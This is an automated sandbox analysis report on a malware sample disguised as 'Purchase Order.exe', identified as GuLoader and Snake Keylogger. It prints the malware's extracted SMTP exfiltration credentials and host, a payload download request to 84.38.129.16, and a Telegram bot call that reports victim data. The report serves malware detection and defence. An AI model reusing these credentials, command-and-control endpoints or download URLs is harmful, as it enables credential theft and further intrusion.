Edit tour

Windows Analysis Report
Purchase Order.exe

Overview

General Information

Sample name:	Purchase Order.exe
Analysis ID:	1538474
MD5:	46ae79c53627f188d4c316adb7635524
SHA1:	653fc3ca8b9e79295a59428fe0842ec79060fb75
SHA256:	05ca345e803d5783617f8b14194428eb79aa486e0b239ae5656847363729a703
Tags:	exeuser-TeamDreier
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Purchase Order.exe (PID: 2876 cmdline: "C:\Users\user\Desktop\Purchase Order.exe" MD5: 46AE79C53627F188D4C316ADB7635524)

Purchase Order.exe (PID: 3340 cmdline: "C:\Users\user\Desktop\Purchase Order.exe" MD5: 46AE79C53627F188D4C316ADB7635524)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "aridons@falconcables.info", "Password": "7213575aceACE@@", "Host": "hosting1.ro.hostsailor.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3384062771.000000003692F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2755799259.0000000005F62000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Purchase Order.exe PID: 3340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Purchase Order.exe PID: 3340	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T11:30:40.737320+0200	2803305	3	Unknown Traffic	192.168.2.5	49978	188.114.97.3	443	TCP
2024-10-21T11:30:42.155353+0200	2803305	3	Unknown Traffic	192.168.2.5	49980	188.114.97.3	443	TCP
2024-10-21T11:30:49.059899+0200	2803305	3	Unknown Traffic	192.168.2.5	49985	188.114.97.3	443	TCP
2024-10-21T11:30:52.448245+0200	2803305	3	Unknown Traffic	192.168.2.5	49987	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T11:30:35.926645+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:38.155378+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:38.379733+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:40.036016+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49976	193.122.130.0	80	TCP
2024-10-21T11:30:41.457981+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49979	193.122.130.0	80	TCP
2024-10-21T11:30:44.895428+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49981	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T11:30:30.432233+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49975	84.38.129.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "aridons@falconcables.info", "Password": "7213575aceACE@@", "Host": "hosting1.ro.hostsailor.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: Purchase Order.exe

Virustotal: Detection: 12%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Purchase Order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49977 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49985 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49988 version: TLS 1.2

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004061FB FindFirstFileA,FindClose,	0_2_004061FB
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405799
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0040270B FindFirstFileA,	4_2_0040270B
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_004061FB FindFirstFileA,FindClose,	4_2_004061FB
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405799

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_0011F4D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_0011FB03
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_0011FCE3
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB2131h	4_2_39AB1E80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB26F8h	4_2_39AB22E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABD829h	4_2_39ABD580
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABDC81h	4_2_39ABD9D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABD3D1h	4_2_39ABD128
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABCF79h	4_2_39ABCCD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABC6C9h	4_2_39ABC420
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABCB21h	4_2_39ABC878
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB021Dh	4_2_39AB0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB0BA7h	4_2_39AB0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABFAE9h	4_2_39ABF840
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABF239h	4_2_39ABEF90
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABF691h	4_2_39ABF3E8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABEDE1h	4_2_39ABEB38
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABE531h	4_2_39ABE288
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABE989h	4_2_39ABE6E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB26F8h	4_2_39AB22D6
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39AB26F8h	4_2_39AB2626
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39ABE0D9h	4_2_39ABDE30
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA8E28h	4_2_39CA8B58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA7A5Dh	4_2_39CA7720
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA1CF9h	4_2_39CA1A50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA4471h	4_2_39CA41C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA6869h	4_2_39CA65C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAF68Eh	4_2_39CAF3C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA5E81h	4_2_39CA5BD8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAD69Eh	4_2_39CAD3D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAB6AEh	4_2_39CAB3E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA18A1h	4_2_39CA15F8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA5A29h	4_2_39CA5780
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAE44Eh	4_2_39CAE180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAC45Eh	4_2_39CAC190
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA1449h	4_2_39CA11A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA2E59h	4_2_39CA2BB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA0FF1h	4_2_39CA0D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAD20Eh	4_2_39CACF40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA2A01h	4_2_39CA2758
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAB21Eh	4_2_39CAAF50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov esp, ebp	4_2_39CAA968
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA25A9h	4_2_39CA2300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CABFCEh	4_2_39CABD00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA55D1h	4_2_39CA5328
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAF1FEh	4_2_39CAEF30
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA7571h	4_2_39CA72C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAAD8Eh	4_2_39CAAAC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA5179h	4_2_39CA4ED0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CADFBEh	4_2_39CADCF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA0B99h	4_2_39CA08F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA0741h	4_2_39CA0498
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA2151h	4_2_39CA1EA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAED6Eh	4_2_39CAEAA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CACD7Eh	4_2_39CACAB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA02E9h	4_2_39CA0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAFB1Eh	4_2_39CAF850
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CADB2Eh	4_2_39CAD860
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA4D21h	4_2_39CA4A78
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA7119h	4_2_39CA6E70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CABB3Eh	4_2_39CAB870
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA32B1h	4_2_39CA3008
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA6CC1h	4_2_39CA6A18
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAE8DEh	4_2_39CAE610
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then mov esp, ebp	4_2_39CAA829
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA48C9h	4_2_39CA4620
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CAC8EEh	4_2_39CAC620
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39CA62DBh	4_2_39CA6030
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D15A27h	4_2_39D156B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D16050h	4_2_39D15D58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1079Eh	4_2_39D104D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D181C8h	4_2_39D17ED0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D119A6h	4_2_39D116D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1ACD0h	4_2_39D1A9D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1C4B8h	4_2_39D1C1C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D13996h	4_2_39D136C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1EFC0h	4_2_39D1ECC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D110BEh	4_2_39D10DF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D194E8h	4_2_39D191F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D122C6h	4_2_39D11FF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1BFF0h	4_2_39D1BCF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1D7D8h	4_2_39D1D4E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D142B7h	4_2_39D13FE8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D169E0h	4_2_39D166E8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1F488h	4_2_39D1F190
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D15066h	4_2_39D14D98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D18690h	4_2_39D18398
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D11527h	4_2_39D11280
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D19E78h	4_2_39D19B80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D12756h	4_2_39D12488
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1C980h	4_2_39D1C688
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D16EA8h	4_2_39D16BB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D199B0h	4_2_39D196B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1B198h	4_2_39D1AEA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D13076h	4_2_39D12DA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1DCA0h	4_2_39D1D9A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1CE48h	4_2_39D1CB50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D13E26h	4_2_39D13B58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1F950h	4_2_39D1F658
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1030Eh	4_2_39D10040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D17838h	4_2_39D17540
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1A340h	4_2_39D1A048
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1E168h	4_2_39D1DE70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D14746h	4_2_39D14478
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D17370h	4_2_39D17078
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D10C2Eh	4_2_39D10960
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D18B58h	4_2_39D18860
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D11E36h	4_2_39D11B68
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1B660h	4_2_39D1B368
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1A808h	4_2_39D1A510
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D12BE6h	4_2_39D12918
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1D310h	4_2_39D1D018
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1EAF8h	4_2_39D1E800
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D14BD6h	4_2_39D14908
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D17D00h	4_2_39D17A08
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1BB28h	4_2_39D1B830
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D13506h	4_2_39D13238
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1E630h	4_2_39D1E338
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D16518h	4_2_39D16220
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D1FE19h	4_2_39D1FB20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D154F6h	4_2_39D15228
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D19020h	4_2_39D18D28
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D41658h	4_2_39D41360
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D40CC8h	4_2_39D409D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D40800h	4_2_39D40508
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D41190h	4_2_39D40E98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then jmp 39D40338h	4_2_39D40040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_39EA34A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_39EA3490
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_39EA0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_39EA0027
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_39EA0356

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2021/10/2024%20/%2017:55:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49975 -> 84.38.129.16:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49979 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49976 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49981 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49985 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49980 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49978 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /efxSlCP242.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.129.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
